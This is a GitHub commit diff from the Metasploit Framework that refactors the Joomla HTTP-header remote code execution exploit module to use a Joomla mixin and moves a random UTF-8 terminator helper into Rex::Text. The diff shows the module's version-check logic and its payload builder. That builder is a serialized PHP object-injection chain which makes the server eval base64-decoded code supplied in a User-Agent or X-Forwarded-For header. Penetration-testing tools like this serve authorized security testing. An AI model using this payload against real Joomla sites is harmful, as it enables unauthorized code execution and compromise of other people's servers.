Skip to content

Commit 21b628a

Browse files
committed
Land rapid7#6387, update exploits/multi/http/joomla_http_header_rce
Use the new Joomla mixin
2 parents 4848c70 + f6eaff5 commit 21b628a

File tree

2 files changed

+25
-25
lines changed

2 files changed

+25
-25
lines changed

lib/rex/text.rb

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1477,6 +1477,18 @@ def self.to_guid(bytes)
14771477
"{#{parts.join('-')}}"
14781478
end
14791479

1480+
#
1481+
# Generate a valid random 4 byte UTF-8 character
1482+
# valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
1483+
#
1484+
# @example
1485+
# Rex::Text.rand_4byte_utf8 # => "\u{108CF3}"
1486+
#
1487+
# @return [String]
1488+
def self.rand_4byte_utf8
1489+
[rand(0x10000..0x10ffff)].pack('U*')
1490+
end
1491+
14801492
#
14811493
# Creates a pattern that can be used for offset calculation purposes. This
14821494
# routine is capable of generating patterns using a supplied set and a

modules/exploits/multi/http/joomla_http_header_rce.rb

Lines changed: 13 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

11-
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::Remote::HTTP::Joomla
1212

1313
def initialize(info = {})
1414
super(update_info(info,
@@ -49,7 +49,6 @@ def initialize(info = {})
4949

5050
register_options(
5151
[
52-
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
5352
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
5453
], self.class)
5554

@@ -72,6 +71,12 @@ def check
7271
return Exploit::CheckCode::Unknown
7372
end
7473

74+
online = joomla_and_online?
75+
unless online
76+
vprint_error("Unable to detect joomla on #{target_uri.path}")
77+
return Exploit::CheckCode::Safe
78+
end
79+
7580
php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
7681
version = Gem::Version.new(php_version)
7782
vulnerable = false
@@ -120,40 +125,23 @@ def check
120125
return Exploit::CheckCode::Safe
121126
end
122127

123-
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') })
124-
if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
125-
joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || ''
126-
unless joomla_version.empty?
127-
vprint_status("Detected Joomla version #{joomla_version}")
128-
return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6')
129-
end
128+
j_version = joomla_version
129+
unless j_version.nil?
130+
vprint_status("Detected Joomla version #{j_version}")
131+
return Exploit::CheckCode::Appears if Gem::Version.new(j_version) < Gem::Version.new('3.4.6')
130132
end
131133

132-
res.get_html_meta_elements.each do |element|
133-
if element.attributes['name'] &&
134-
/^generator$/i === element.attributes['name'] &&
135-
element.attributes['content'] &&
136-
/joomla/i === element.attributes['content'].value
137-
return Exploit::CheckCode::Detected
138-
end
139-
end
134+
return Exploit::CheckCode::Detected if online
140135

141136
Exploit::CheckCode::Safe
142137
end
143138

144-
# gets a random 4 byte UTF-8 character
145-
def get_terminator
146-
# valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
147-
[rand(0x10000..0x10ffff)].pack('U*')
148-
end
149-
150139
def get_payload(header_name)
151140
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
152141
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
153142
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
154143
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
155-
t1000 = get_terminator
156-
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}"
144+
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{Rex::Text::rand_4byte_utf8}"
157145
end
158146

159147
def print_status(msg='')

0 commit comments

Comments
 (0)